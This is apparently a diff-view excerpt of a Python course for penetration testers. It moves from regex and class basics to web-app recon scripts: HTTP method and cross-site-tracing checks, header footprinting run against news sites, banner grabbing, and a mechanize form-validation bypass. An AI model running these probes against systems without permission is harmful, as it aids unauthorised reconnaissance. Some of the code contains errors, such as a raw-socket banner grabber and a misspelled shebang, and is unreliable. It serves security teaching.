result=re.findall(r'@\w+.\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
1180
print (result)
1181
 
1182
----------------------------------------------------------------------
1183
 
1184
Output:
1185
['@gmail.com', '@test.com', '@strategicsec.com', '@rest.biz']
1186
 
1187
 
1188-
python udpserver.py
1188+
1189
 
1190
 
1191
 
1192-
python udpclient.py
1192+
1193
-----------------------------------------------------------------------------------------------------------------------
1194
 
1195
 
1196
Code
1197
---------------------------Type This-----------------------------------
1198
$ python3
1199
import re
1200
result=re.findall(r'@\w+.(\w+)','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
1201
print (result)
1202
 
1203
----------------------------------------------------------------------
1204
 
1205
Output:
1206
['com', 'com', 'com', 'biz']
1207
 
1208
 
1209
 
1210-
#!/bin/python
1210+
1211
* Problem 4: Return date from given string *
1212
********************************************
1213-
#!/bin/python
1213+
1214
 
1215
Here we will use "\d" to extract digit.
1216
 
1217
 
1218
Solution:
1219
----------------------------------------------------------------------------------------------------------------------
1220
 
1221
Code
1222
---------------------------Type This-----------------------------------
1223
$ python3
1224
import re
1225
 
1226
result=re.findall(r'\d{2}-\d{2}-\d{4}','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
1227
print (result)
1228
 
1229
----------------------------------------------------------------------
1230
 
1231
Output:
1232
['12-05-2007', '11-11-2016', '12-01-2009']
1233
 
1234
If you want to extract only year again parenthesis "( )" will help you.
1235
 
1236
 
1237
Code
1238
 
1239
---------------------------Type This-----------------------------------
1240
$ python3
1241
import re
1242
result=re.findall(r'\d{2}-\d{2}-(\d{4})','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
1243
print (result)
1244
 
1245
----------------------------------------------------------------------
1246
 
1247
Output:
1248
['2007', '2016', '2009']
1249
 
1250
 
1251
 
1252
 
1253
 
1254
*******************************************************************
1255
* Problem 5: Return all words of a string those starts with vowel *
1256
*******************************************************************
1257
 
1258
 
1259
 
1260
 
1261
Solution-1  Return each words
1262
-----------------------------------------------------------------------------------------------------------------
1263
 
1264
Code
1265
---------------------------Type This-----------------------------------
1266
$ python3
1267
import re
1268
result=re.findall(r'\w+','Python is the best')
1269
print (result)
1270
----------------------------------------------------------------------
1271
 
1272
Output:
1273
['Python', 'is', 'the', 'best']
1274
 
1275
 
1276
 
1277
 
1278
 
1279
Solution-2  Return words starts with alphabets (using [])
1280
------------------------------------------------------------------------------------------------------------------
1281
 
1282
Code
1283
---------------------------Type This-----------------------------------
1284
$ python3
1285
import re
1286
result=re.findall(r'[aeiouAEIOU]\w+','I love Python')
1287
print (result)
1288
 
1289
----------------------------------------------------------------------
1290
 
1291
Output:
1292
['ove', 'on']
1293
 
1294
Above you can see that it has returned "ove" and "on" from the mid of words. To drop these two, we need to use "\b" for word boundary.
1295
 
1296
 
1297
 
1298
 
1299
 
1300
Solution- 3
1301
------------------------------------------------------------------------------------------------------------------
1302
 
1303
Code
1304
---------------------------Type This-----------------------------------
1305
$ python3
1306
import re
1307
result=re.findall(r'\b[aeiouAEIOU]\w+','I love Python')
1308
print (result)
1309
 
1310
----------------------------------------------------------------------
1311
 
1312
Output:
1313
[]
1314
 
1315
In similar ways, we can extract words those starts with constant using "^" within square bracket.
1316
 
1317
 
1318
Code
1319
---------------------------Type This-----------------------------------
1320
$ python3
1321
import re
1322
result=re.findall(r'\b[^aeiouAEIOU]\w+','I love Python')
1323
print (result)
1324
 
1325
----------------------------------------------------------------------
1326
 
1327
Output:
1328
[' love', ' Python']
1329
 
1330
Above you can see that it has returned words starting with space. To drop it from output, include space in square bracket[].
1331
 
1332
 
1333
Code
1334
---------------------------Type This-----------------------------------
1335
$ python3
1336
import re
1337
result=re.findall(r'\b[^aeiouAEIOU ]\w+','I love Python')
1338
print (result)
1339
 
1340
----------------------------------------------------------------------
1341
 
1342
Output:
1343
['love', 'Python']
1344
 
1345
 
1346
 
1347
 
1348
 
1349
 
1350
*************************************************************************************************
1351
* Problem 6: Validate a phone number (phone number must be of 10 digits and starts with 8 or 9) *
1352
*************************************************************************************************
1353
 
1354
 
1355
We have a list phone numbers in list "li" and here we will validate phone numbers using regular
1356
 
1357
 
1358
 
1359
 
1360
Solution
1361
-------------------------------------------------------------------------------------------------------------------------------------
1362
 
1363
 
1364
Code
1365
---------------------------Type This-----------------------------------
1366
$ python3
1367
import re
1368
li=['9999999999','999999-999','99999x9999']
1369
for val in li:
1370
    if re.match(r'[8-9]{1}[0-9]{9}',val) and len(val) == 10:
1371
        print ('yes')
1372
    else:
1373
        print ('no')
1374
 
1375
 
1376
----------------------------------------------------------------------
1377
 
1378
Output:
1379
yes
1380
no
1381
no
1382
 
1383
 
1384
 
1385
 
1386
 
1387
******************************************************
1388
* Problem 7: Split a string with multiple delimiters *
1389
******************************************************
1390
 
1391
 
1392
 
1393
Solution
1394
---------------------------------------------------------------------------------------------------------------------------
1395
 
1396
 
1397
Code
1398
---------------------------Type This-----------------------------------
1399
$ python3
1400
import re
1401
line = 'asdf fjdk;afed,fjek,asdf,foo' # String has multiple delimiters (";",","," ").
1402
result= re.split(r'[;,\s]', line)
1403
print (result)
1404
 
1405
----------------------------------------------------------------------
1406
 
1407
Output:
1408
['asdf', 'fjdk', 'afed', 'fjek', 'asdf', 'foo']
1409
 
1410
 
1411
 
1412
We can also use method re.sub() to replace these multiple delimiters with one as space " ".
1413
 
1414
 
1415
Code
1416
---------------------------Type This-----------------------------------
1417
$ python3
1418
import re
1419
line = 'asdf fjdk;afed,fjek,asdf,foo'
1420
result= re.sub(r'[;,\s]',' ', line)
1421
print (result)
1422
 
1423
----------------------------------------------------------------------
1424
 
1425
Output:
1426
asdf fjdk afed fjek asdf foo
1427
 
1428
 
1429
 
1430
 
1431
**************************************************
1432
* Problem 8: Retrieve Information from HTML file *
1433
**************************************************
1434
 
1435
 
1436
 
1437
I want to extract information from a HTML file (see below sample data). Here we need to extract information available between <td> and </td> except the first numerical index. I have assumed here that below html code is stored in a string str.
1438
 
1439
 
1440
 
1441
Create a file (file.txt) that contains the following data:
1442
---------------------------Paste This-----------------------------------
1443
 
1444
<tr align="center"><td>1</td> <td>Noah</td> <td>Emma</td></tr>
1445
<tr align="center"><td>2</td> <td>Liam</td> <td>Olivia</td></tr>
1446
<tr align="center"><td>3</td> <td>Mason</td> <td>Sophia</td></tr>
1447
<tr align="center"><td>4</td> <td>Jacob</td> <td>Isabella</td></tr>
1448
<tr align="center"><td>5</td> <td>William</td> <td>Ava</td></tr>
1449
<tr align="center"><td>6</td> <td>Ethan</td> <td>Mia</td></tr>
1450
<tr align="center"><td>7</td> <td HTML>Michael</td> <td>Emily</td></tr>
1451
----------------------------------------------------------------------
1452
 
1453
Solution:
1454
 
1455
 
1456
 
1457
Code
1458
---------------------------Type This-----------------------------------
1459
$ python3
1460
f=open('file.txt', "r")
1461
import re
1462
str = f.read()
1463
result=re.findall(r'<td>\w+</td>\s<td>(\w+)</td>\s<td>(\w+)</td>',str)
1464
print (result)
1465
----------------------------------------------------------------------
1466
 
1467
Output:
1468
[('Noah', 'Emma'), ('Liam', 'Olivia'), ('Mason', 'Sophia'), ('Jacob', 'Isabella'), ('William', 'Ava'), ('Ethan', 'Mia'), ('Michael', 'Emily')]
1469
 
1470
 
1471
 
1472
You can read html file using library urllib (see below code).
1473
 
1474
 
1475
Code
1476
---------------------------Type This-----------------------------------
1477
$ python3
1478
from urllib.request import urlopen
1479
html = urlopen("http://www.google.com/")
1480
print(html.read())
1481
----------------------------------------------------------------------
1482
NOTE: You can put any website URL that you want in the urllib2.urlopen('')
1483
 
1484
 
1485
 
1486
 
1487
 
1488
#############
1489
# Functions #
1490
#############
1491
 
1492
 
1493
***********************
1494
* What are Functions? *
1495
***********************
1496
 
1497
 
1498
Functions are a convenient way to divide your code into useful blocks, allowing us to order our code, make it more readable, reuse it and save some time. Also functions are a key way to define interfaces so programmers can share their code.
1499
 
1500
How do you write functions in Python?
1501
 
1502
Python makes use of blocks.
1503
 
1504
A block is a area of code of written in the format of:
1505
 
1506
block_head:
1507
   
1508
     1st block line
1509
   
1510
     2nd block line
1511
   
1512
     ...
1513
 
1514
 
1515-
python server.py
1515+
1516
 
1517
Functions in python are defined using the block keyword "def", followed with the function's name as the block's name. For example:
1518
 
1519
def my_function():
1520
   print("Hello From My Function!")
1521
 
1522
 
1523
Functions may also receive arguments (variables passed from the caller to the function). For example:
1524-
python server.py
1524+
1525
def my_function_with_args(username, greeting):
1526
   print("Hello, %s , From My Function!, I wish you %s"%(username, greeting))
1527
 
1528
 
1529
Functions may return a value to the caller, using the keyword- 'return' . For example:
1530
 
1531
def sum_two_numbers(a, b):
1532
   return a + b
1533
 
1534
 
1535
****************************************
1536
* How do you call functions in Python? *
1537
****************************************
1538
 
1539
Simply write the function's name followed by (), placing any required arguments within the brackets. For example, lets call the functions written above (in the previous example):
1540
 
1541
# Define our 3 functions
1542
---------------------------Paste This-----------------------------------
1543
def my_function():
1544
   print("Hello From My Function!")
1545
----------------------------------------------------------------------
1546
 
1547
 
1548
---------------------------Paste This-----------------------------------
1549
def my_function_with_args(username, greeting):
1550
   print("Hello, %s , From My Function!, I wish you %s"%(username, greeting))
1551
----------------------------------------------------------------------
1552
 
1553
 
1554
---------------------------Paste This-----------------------------------
1555
def sum_two_numbers(a, b):
1556
   return a + b
1557
----------------------------------------------------------------------
1558
 
1559
 
1560
Let's print(a simple greeting)
1561
 
1562
---------------------------Paste This-----------------------------------
1563
my_function()
1564
-----------------------------------------------------------------------
1565
 
1566
 
1567
Prints - "Hello, Joe, From My Function!, I wish you a great year!"
1568
---------------------------Paste This-----------------------------------
1569
my_function_with_args("Joe", "a great year!")
1570-
     python -m pip install requests
1570+
1571
 
1572
 
1573
After this line x will hold the value 3!
1574
---------------------------Paste This-----------------------------------
1575
x = sum_two_numbers(1,2)
1576
x
1577
-----------------------------------------------------------------------
1578
 
1579
 
1580
1581
 
1582
##########################
1583
# Python Lambda Function #
1584
##########################
1585
 
1586
 
1587
Python allows you to create anonymous function i.e function having no names using a facility called lambda function.
1588
 
1589
lambda functions are small functions usually not more than a line. It can have any number of arguments just like a normal function. The body of lambda functions is very small and consists of only one expression. The result of the expression is the value when the lambda is applied to an argument. Also there is no need for any return statement in lambda function.
1590
 
1591
Let’s take an example:
1592
 
1593
Consider a function multiply()
1594
 
1595
def multiply(x, y):
1596
   return x * y
1597
 
1598
 
1599
This function is too small, so let’s convert it into a lambda function.
1600
 
1601
To create a lambda function first write keyword lambda followed by one of more arguments separated by comma, followed by colon sign ( : ), followed by a single line expression.
1602
 
1603
---------------------------Type This-----------------------------------
1604
 
1605
>>> r = lambda x, y: x * y
1606
>>> r(12,3)
1607
36
1608
-----------------------------------------------------------------------
1609
 
1610
Here we are using two arguments x  and y , expression after colon is the body of the lambda function. As you can see lambda function has no name and is called through the variable it is assigned to.
1611
 
1612
You don’t need to assign lambda function to a variable.
1613
 
1614
---------------------------Type This-----------------------------------
1615
 
1616
>>> (lambda x, y: x * y)(3,4)
1617
12
1618
-----------------------------------------------------------------------
1619
 
1620
Note that lambda function can’t contain more than one expression.
1621
 
1622
 
1623
 
1624
##################
1625
# Python Classes #
1626
##################
1627
 
1628
 
1629
****************
1630
* Introduction *
1631
****************
1632
 
1633
Classes are the cornerstone of Object Oriented Programming. They are the blueprints used to create objects. And, as the name suggests, all of Object Oriented Programming centers around the use of objects to build programs.
1634
 
1635
You don't write objects, not really. They are created, or instantiated, in a program using a class as their basis. So, you design objects by writing classes. That means that the most important part of understanding Object Oriented Programming is understanding what classes are and how they work.
1636
 
1637
 
1638
***********************
1639
* Real World Examples *
1640
***********************
1641
 
1642
 
1643
This next part if going to get abstract. You can think of objects in programming just like objects in the real world. Classes are then the way you would describe those objects and the plans for what they can do.
1644
 
1645
Start off by thinking about a web vuln scanner.
1646
 
1647
What about what they can do? Nearly every web vuln scanner can do the same basic things, but they just might do them differently or at different speeds. You could then describe the actions that a vuln scanner can perform using functions. In Object Oriented Programming, though, functions are called methods.
1648
 
1649
So, if you were looking to use "vuln scanner" objects in your program, you would create a "vuln scanner" class to serve as a blueprint with all of the variables that you would want to hold information about your "vuln scanner" objects and all of the methods to describe what you would like your vuln scanner to be able to do.
1650
 
1651
 
1652
******************
1653
* A Python Class *
1654
******************
1655
 
1656
 
1657
Now that you have a general idea of what a class is, it's best to take a look at a real Python class and study how it is structured.
1658
 
1659
---------------------------Paste This-----------------------------------
1660
 
1661
class WebVulnScanner(object):
1662
   make = 'Acunetix'
1663
   model = '10.5'
1664
   year = '2014'
1665
   version ='Consultant Edition'
1666
 
1667
   profile = 'High Risk'
1668
 
1669
 
1670
   def crawling(self, speed):
1671
       print("Crawling at %s" % speed)
1672
 
1673
 
1674
   def scanning(self, speed):
1675
       print("Scanning at %s" % speed)
1676
-----------------------------------------------------------------------
1677
 
1678
 
1679
Creating a class looks a lot like creating a function. Instead of def you use the keyword, class. Then, you give it a name, just like you would a function. It also has parenthesis like a function, but they don't work the way you think. For a class the parenthesis allow it to extend an existing class. Don't worry about this right now, just understand that you have to put object there because it's the base of all other classes.
1680
 
1681
From there, you can see a bunch of familiar things that you'd see floating around any Python program, variables and functions. There are a series of variables with information about the scanner and a couple of methods(functions) describing what the scanner can do. You can see that each of the methods takes two parameters, self and speed. You can see that "speed" is used in the methods to print out how fast the scanner is scanning, but "self" is different.
1682
 
1683
 
1684
*****************
1685
* What is Self? *
1686
*****************
1687
 
1688
Alright, so "self" is the biggest quirk in the way that Python handles Object Oriented Programming. In most languages, classes and objects are just aware of their variables in their methods. Python needs to be told to remember them. When you pass "self" to a method, you are essentially passing that object to its method to remind it of all of the variables and other methods in that object. You also need to use it when using variables in methods. For example, if you wanted to output the model of the scanner along with the speed, it looks like this.
1689
################# Do not do this lab #################
1690
---------------------------Type This-----------------------------------
1691
 
1692
print("Your %s is crawling at %s" % (self.model, speed))
1693
-----------------------------------------------------------------------
1694
################# end of lab that doesn't work #################
1695
 
1696
It's awkward and odd, but it works, and it's really not worth worrying about. Just remember to include "self" as the first parameter of your methods and "self." in front of your variables, and you'll be alright.
1697
 
1698
 
1699
*****************
1700
* Using A Class *
1701
*****************
1702
 
1703
 
1704
You're ready to start using the WebVulnScanner class. Create a new Python file and paste the class in. Below, you can create an object using it. Creating, or instantiating, an object in Python looks like the line below.
1705
---------------------------Type This-----------------------------------
1706
 
1707
myscanner = WebVulnScanner()
1708
-----------------------------------------------------------------------
1709
 
1710
 
1711
That's it. To create a new object, you just have to make a new variable and set it equal to class that you are basing your object on.
1712
 
1713
Get your scanner object to print out its make and model.
1714
---------------------------Type This-----------------------------------
1715
 
1716
print("%s %s" % (myscanner.make, myscanner.model))
1717
-----------------------------------------------------------------------
1718
 
1719
The use of a . between an object and its internal components is called the dot notation. It's very common in OOP. It works for methods the same way it does for variables.
1720
---------------------------Type This-----------------------------------
1721
 
1722
myscanner.scanning('10req/sec')
1723
-----------------------------------------------------------------------
1724
 
1725
What if you want to change the profile of your scanning? You can definitely do that too, and it works just like changing the value of any other variable. Try printing out the profile of your scanner first. Then, change the profile, and print it out again.
1726
---------------------------Type This-----------------------------------
1727
 
1728
print("The profile of my scanner settings is %s" % myscanner.profile)
1729
myscanner.profile = "default"
1730
print("The profile of my scanner settings is %s" % myscanner.profile)
1731
-----------------------------------------------------------------------
1732
 
1733
Your scanner settings are default now. What about a new WebVulnScanner? If you made a new scanner object, would the scanning profile be default? Give it a shot.
1734
---------------------------Type This-----------------------------------
1735
 
1736
mynewscanner = WebVulnScanner()
1737
print("The scanning profile of my new scanner is %s" % mynewscanner.profile)
1738
-----------------------------------------------------------------------
1739
 
1740
That one's high risk. New objects are copied from the class, and the class still says that the profile is high risk. Objects exist in the computer's memory while a program is running. When you change the values within an object, they are specific to that object as it exists in memory. The changes won't persist once the program stops and won't change the class that it was created from.
1741
 
1742
 
1743
#########################################
1744
# The self variable in python explained #
1745
#########################################
1746
 
1747
So lets start by making a class involving the self variable.
1748
 
1749
A simple class :
1750
 
1751
So here is our class:
1752
---------------------------Paste This-----------------------------------
1753
 
1754
class port(object):
1755
   open = False
1756
   def open_port(self):
1757
       if not self.open:
1758
           print("port open")
1759
 
1760
-----------------------------------------------------------------------
1761
 
1762
First let me explain the above code without the technicalities. First of all we make a class port. Then we assign it a property “open” which is currently false. After that we assign it a function open_port which can only occur if “open” is False which means that the port is open.
1763
 
1764
Making a Port:
1765
 
1766
Now that we have made a class for a Port, lets actually make a port:
1767
---------------------------Type This-----------------------------------
1768
 
1769
x = port()
1770
-----------------------------------------------------------------------
1771
 
1772
Now x is a port which has a property open and a function open_port. Now we can access the property open by typing:
1773
---------------------------Type This-----------------------------------
1774
 
1775
x.open
1776
-----------------------------------------------------------------------
1777
 
1778
The above command is same as:
1779
---------------------------Type This-----------------------------------
1780
 
1781
port().open
1782
-----------------------------------------------------------------------
1783
 
1784
Now you can see that self refers to the bound variable or object. In the first case it was x because we had assigned the port class to x whereas in the second case it referred to port(). Now if we have another port y, self will know to access the open value of y and not x. For example check this example:
1785
---------------------------Type This-----------------------------------
1786
 
1787
>>> x = port()
1788-
python client.py
1788+
1789
False
1790
>>> y = port()
1791
>>> y.open = True
1792
>>> y.open
1793
True
1794
>>> x.open
1795
False
1796
 
1797
-----------------------------------------------------------------------
1798
The first argument of every class method, including init, is always a reference to the current instance of the class. By convention, this argument is always named self. In the init method, self refers to the newly created object; in other class methods, it refers to the instance whose method was called. For example the below code is the same as the above code.
1799
 
1800
---------------------------Paste This-----------------------------------
1801
 
1802
class port(object):
1803
   open = False
1804
   def open_port(this):
1805
       if not this.open:
1806
           print("port open")
1807
 
1808
-----------------------------------------------------------------------
1809
 
1810
 
1811
1812
1813
1814
1815
                            ###############################################################
1816
----------- ############### # Day 3: Web App Pentesting, PW Cracking and more with Python # ############### -----------
1817
                            ###############################################################
1818
1819
 
1820
 
1821
################################
1822
# Web App Testing with Python3 #
1823
################################
1824
 
1825
################################################
1826
# Python Penetration Testing—Application Layer #
1827
################################################
1828
 
1829
########################################
1830
# Testing availability of HTTP methods #
1831
########################################
1832
 
1833
A  very  good  practice  for  a  penetration  tester  is  to  start  by  listing  the  various  available HTTP methods.
1834
Following is a Python script with the help of which we can connect to the target web server and enumerate the available HTTP methods:  
1835
 
1836
To begin with, we need to import the requests library:
1837
 
1838
---------------------------
1839
import requests
1840
---------------------------
1841
 
1842
After importing the requests library,create an array of HTTP methods, which we are going to send. We will make use ofsome standard methods like 'GET', 'POST', 'PUT', 'DELETE', 'OPTIONS' and a non-standard method ‘TEST’ to check how a web server can handle the unexpected input.
1843
 
1844
----------------------------------------------------------------------------
1845
method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']
1846
----------------------------------------------------------------------------
1847
 
1848
The following line of code is the main loop of the script, which will send the HTTP packets to the web server and print the method and the status code.
1849
 
1850
------------------------------------------------------
1851
for method in method_list:
1852
   req = requests.request(method, 'Enter the URL’)
1853
   print (method, req.status_code, req.reason)
1854
------------------------------------------------------
1855
 
1856
The next line will test for the possibility of cross site tracing (XST) by sending the TRACE method.
1857
 
1858
-------------------------------------------------------------
1859
if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
1860
   print ('Cross Site Tracing(XST) is possible')
1861
-------------------------------------------------------------
1862
 
1863
 
1864
*** Full code with example url: ***
1865
 
1866
---------------------------Type This-----------------------------------
1867
nano xst.py
1868
 
1869
 
1870
---------------------------Paste This----------------------------------
1871
import requests
1872
method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']
1873
for method in method_list:
1874
   req = requests.request(method, 'https://dvws1.infosecaddicts.com/dvws1/vulnerabilities/xst/xst.php')
1875
   print (method, req.status_code, req.reason)
1876
if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
1877
   print ('Cross Site Tracing(XST) is possible')
1878
 
1879
-------------------------------------------------------------------------
1880
 
1881
 
1882
After running the above script for a particular web server, we will get 200 OK responses for a particular methodaccepted by the web server. We will get a 403 Forbidden response if the web server explicitly denies the method. Once we send the TRACE method for testing cross  site  tracing  (XST), we  will  get 405  Not  Allowed responses  from  the  web  server otherwise we will get the message ‘Cross Site Tracing(XST) is possible’.
1883
 
1884
 
1885
---------------------------Type This-----------------------------------
1886
python3 xst.py
1887
-----------------------------------------------------------------------
1888
 
1889
##########################################
1890
# Foot printing by checking HTTP headers #
1891
##########################################
1892
 
1893
 
1894
HTTP headers are found in both requests and responses from the web server. They also carry very important information about servers. That is why penetration tester is always interested in parsing information through HTTP headers. Following is a Python script for getting the information about headers of the web server:
1895
 
1896
To begin with, let us import the requests library:
1897
 
1898
------------------------
1899
import requests
1900
------------------------
1901
 
1902
We need to send a  GET request to the web  server. The following line  of code makes a simple GET request through the requests library.
1903
 
1904
---------------------------------------------
1905
request = requests.get('enter the URL')
1906
---------------------------------------------
1907
 
1908
Next, we will generate a list of headers about which you need the information.
1909
 
1910
---------------------------------------------------------------------------------------------------------------
1911
header_list = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', 'Connection', 'Content-Length']
1912
---------------------------------------------------------------------------------------------------------------
1913
 
1914
Next is a try and except block.
1915
 
1916
---------------------------------------------------
1917
for header in header_list:
1918
 
1919
   try:
1920
      result = request.headers[header]
1921
      print ('%s: %s' % (header, result))
1922
   except Exception as err:
1923
         print ('%s: No Details Found' % header)
1924
 
1925
---------------------------------------------------
1926
 
1927
 
1928
 
1929
 
1930
*** Example Full Code: ***
1931
 
1932
---------------------------Type This-----------------------------------
1933
nano headercheck.py
1934
 
1935
 
1936
---------------------------Paste This----------------------------------
1937
#!/usr/bin/env python3
1938
import requests
1939
request = requests.get('https://dvws1.infosecaddicts.com/dvws1/appinfo.php')
1940
header_list = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', 'Connection', 'Content-Length']
1941
for header in header_list:
1942
      try:
1943
         result = request.headers[header]
1944
         print ('%s: %s' % (header, result))
1945
      except Exception as err:
1946
               print ('%s: No Details Found' % header)
1947
----------------------------------------------------------------------------------------------------------------
1948
 
1949
 
1950
After running the above script for a particular web server, we will get the information about the  headers  provided  in  the  header  list.  If  there  will  be  no  information  for  a  particular header then it will give the message ‘No Details Found’.
1951
 
1952
 
1953
---------------------------Type This-----------------------------------
1954
python3 headercheck.py
1955
-----------------------------------------------------------------------
1956
 
1957
 
1958
##############################################
1959
# Testing insecure web server configurations #
1960
##############################################
1961
 
1962
We can use HTTP header information to test insecure web server configurations. In the following Python script, we are going to use try/except block to test insecure web server headers for number of URLs that are saved in a text file name websites.txt.
1963
---------------------------Type This-----------------------------------
1964
nano websites.txt
1965
 
1966
---------------------------Paste This----------------------------------
1967
https://www.google.com
1968
https://www.cnn.com
1969
https://foxnews.com
1970
-----------------------------------------------------------------------
1971
 
1972
 
1973
 
1974
 
1975
---------------------------Type This-----------------------------------
1976
nano insecure_config_check.py
1977
 
1978
 
1979
---------------------------Paste This----------------------------------
1980
#!/usr/bin/eve python3
1981
import requests
1982
urls = open("websites.txt", "r")
1983
for url in urls:
1984
   url = url.strip()
1985
   req = requests.get(url)
1986
   print (url, 'report:')
1987
   try:
1988
      protection_xss = req.headers['X-XSS-Protection']
1989
      if protection_xss != '1; mode=block':
1990
         print ('X-XSS-Protection not set properly, it may be possible:', protection_xss)
1991
   except:
1992
      print ('X-XSS-Protection not set, it may be possible')
1993
   try:
1994
      options_content_type = req.headers['X-Content-Type-Options']
1995
      if options_content_type != 'nosniff':
1996
         print ('X-Content-Type-Options not set properly:', options_content_type)
1997
   except:
1998
      print ('X-Content-Type-Options not set')
1999
   try:
2000
      transport_security = req.headers['Strict-Transport-Security']
2001
   except:
2002
      print ('HSTS header not set properly, Man in the middle attacks is possible')
2003
   try:
2004
      content_security = req.headers['Content-Security-Policy']
2005
      print ('Content-Security-Policy set:', content_security)
2006
   except:
2007
      print ('Content-Security-Policy missing')
2008
 
2009
-----------------------------------------------------------------------
2010
 
2011
 
2012
---------------------------Type This-----------------------------------
2013
python3 insecure_config_check.py
2014
-----------------------------------------------------------------------
2015
 
2016
 
2017
#####################################
2018
# Footprinting of a Web Application #
2019
#####################################
2020
 
2021
Methods for Footprinting of a Web Application
2022
 
2023
 
2024
Gathering information using parser BeautifulSoup
2025
 
2026
 
2027
Suppose we want to collect all the hyperlinks from  a  web page; we can make use of a parser called BeautifulSoup.The parser is a Python library for pulling data out of HTML and XML files. It can be used with urlib because it needs an input (document or url) to create a soup object and it can’t fetch web page by itself.
2028
 
2029
To  begin  with,  let  us import  the  necessary  packages. We  will  import urlib and BeautifulSoup. Remember before importing BeautifulSoup, we need to install it.
2030
 
2031
--------------------------------------
2032
apt-get install python3-bs4             <-- This is already installed. You don't have to do this step
2033
--------------------------------------
2034
 
2035
---------------------------Type This-----------------------------------
2036
$ python3
2037
import urllib
2038
from bs4 import BeautifulSoup
2039
-----------------------------------------------------------------------
2040
 
2041
The Python script given below will gather the title of web page andhyperlinks:
2042
 
2043
Now,  we  need  a variable,  which can  store  the  URL  of  the  website.  Here, we  will  use  avariable named ‘url’. We will also use thepage.read()function that can store the web page and assign the web page to the variable html_page.
2044
 
2045
 
2046
---------------------------Type This-----------------------------------
2047
from urllib.request import urlopen
2048
 
2049
url = 'http://www.python.org'
2050
file = urlopen(url)
2051
html_page = file.read()
2052
-----------------------------------------------------------------------
2053
 
2054
The html_page will be assigned as an input to create soup object.
2055
 
2056
---------------------------Type This-----------------------------------
2057
soup_object = BeautifulSoup(html_page)
2058
-----------------------------------------------------------------------
2059
 
2060
Following two lines will print the title name with tags and without tags respectively.
2061
 
2062
---------------------------Type This-----------------------------------
2063
print(soup_object.title)
2064
print(soup_object.title.text)
2065
-----------------------------------------------------------------------
2066
 
2067
The line of code shown below will save all the hyperlinks.
2068
 
2069
---------------------------Type This-----------------------------------
2070
for link in soup_object.find_all('a'):
2071
   print(link.get('href'))
2072
-----------------------------------------------------------------------
2073
 
2074
 
2075
 
2076
 
2077
*** Full example code: ***
2078
 
2079
---------------------------Type This-----------------------------------
2080
 
2081
import urllib
2082
 
2083
from bs4 import BeautifulSoup
2084
 
2085
from urllib.request import urlopen
2086
 
2087
url = 'http://www.python.org'
2088
file = urlopen(url)
2089
html_page = file.read()
2090
print(html_page)
2091
 
2092
soup_object= BeautifulSoup(html_page)
2093
 
2094
 
2095
print(soup_object.title)
2096
print(soup_object.title.text)
2097
 
2098
 
2099
for link in soup_object.find_all('a'):
2100
   print(link.get('href'))
2101
 
2102
-----------------------------------------------------------------------
2103
 
2104
 
2105
###################
2106
# Banner grabbing #
2107
###################
2108
 
2109
 
2110
The following Python script helps grab the banner using socket programming:
2111
 
2112
------------------------------------------------------------------------------
2113
import socket
2114
 
2115
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.htons(0x0800))
2116
 
2117
host = input("Enter the host name: ")
2118
port = int(input("Enter Port: "))
2119
 
2120
 
2121
# host = '192.168.1.54'
2122
# port = 22
2123
 
2124
s.connect((host, port))
2125
 
2126
try:
2127
    s.send(b'GET HTTP/1.1 \r\n')
2128
    ret = s.recv(1024)
2129
    print('[+]{}'.format(ret))
2130
except Exception as e:
2131
    print('[-] Not information grabbed: {}'.format(e))
2132
-------------------------------------------------------------------------------
2133
 
2134
After running the above script, we will get similar kind of information about headers as we got from the Python script of footprinting of HTTP headers in the previous section.
2135
 
2136
 
2137
###################################################
2138
# Server-side Validation & Client-side Validation #
2139
###################################################
2140
 
2141
 
2142
#######################################
2143
# Python Module for Validation Bypass #
2144
#######################################
2145
 
2146
 
2147
The Python module that we are going to useis mechanize. Itis a Python web browser, whichis  providing  the  facility  of  obtaining  web  forms  in  a  web  page  and  facilitates  the submission of input values too. With the help of mechanize,we can bypass the validation and temper client-side parameters. However,before importing it in our Python script,we need to install it by executing the following command:
2148
 
2149
---------------------------------
2150
pip3 install mechanize              <-- This is already installed. You don't have to do this step
2151
---------------------------------
2152
 
2153
 
2154
 
2155
Following is a Python script, which uses mechanize to bypass the validation of a web form using  POST  method  to  pass  the  parameter.  The  web  form  can  be  taken  from  the  link https://www.tutorialspoint.com/php/php_validation_example.htm and can be used in any dummy website of your choice.
2156
 
2157
To begin with, let us import the mechanize browser:
2158
 
2159
 
2160
----------------------
2161
import mechanize
2162
----------------------
2163
 
2164
Now, we will create an object named brwsr of the mechanize browser:
2165
 
2166
-----------------------------
2167
brwsr = mechanize.Browser()
2168
-----------------------------
2169
 
2170
The next line of code shows that the user agent is not a robot
2171
 
2172
--------------------------------
2173
brwsr.set_handle_robots( False )
2174
--------------------------------
2175
 
2176
Now, we need to provide the url of our dummy website containing the web form on which we need to bypass validation.
2177
 
2178
-----------------------------
2179
url = input("Enter URL ")
2180
-----------------------------
2181
 
2182
Now, following lines will set some parenters to true.
2183
 
2184
-----------------------------------
2185
brwsr.set_handle_equiv(True)
2186
brwsr.set_handle_gzip(True)
2187
brwsr.set_handle_redirect(True)
2188
brwsr.set_handle_referer(True)
2189
----------------------------------
2190
 
2191
 
2192
Next it will open the web page and print the web form on that page.
2193
 
2194
-----------------------------
2195
brwsr.open(url)
2196
for form in brwsr.forms():
2197
   print(form)
2198
-----------------------------
2199
 
2200
Next line of codes will bypass the validations on the given fields.
2201
 
2202
------------------------------------
2203
brwsr.select_form(nr=0)
2204
brwsr.form['name'] = ''
2205
brwsr.form['gender'] = ''
2206
brwsr.submit()
2207
------------------------------------
2208
 
2209
The last part of the script can be changed according to the fields of web form on which we want to bypass validation. Here in the above script, we have takentwo fields —‘name’ and ‘gender’ which cannot be left blank (you can see in the coding of web form) but this script will bypass that validation.
2210
 
2211
 
2212
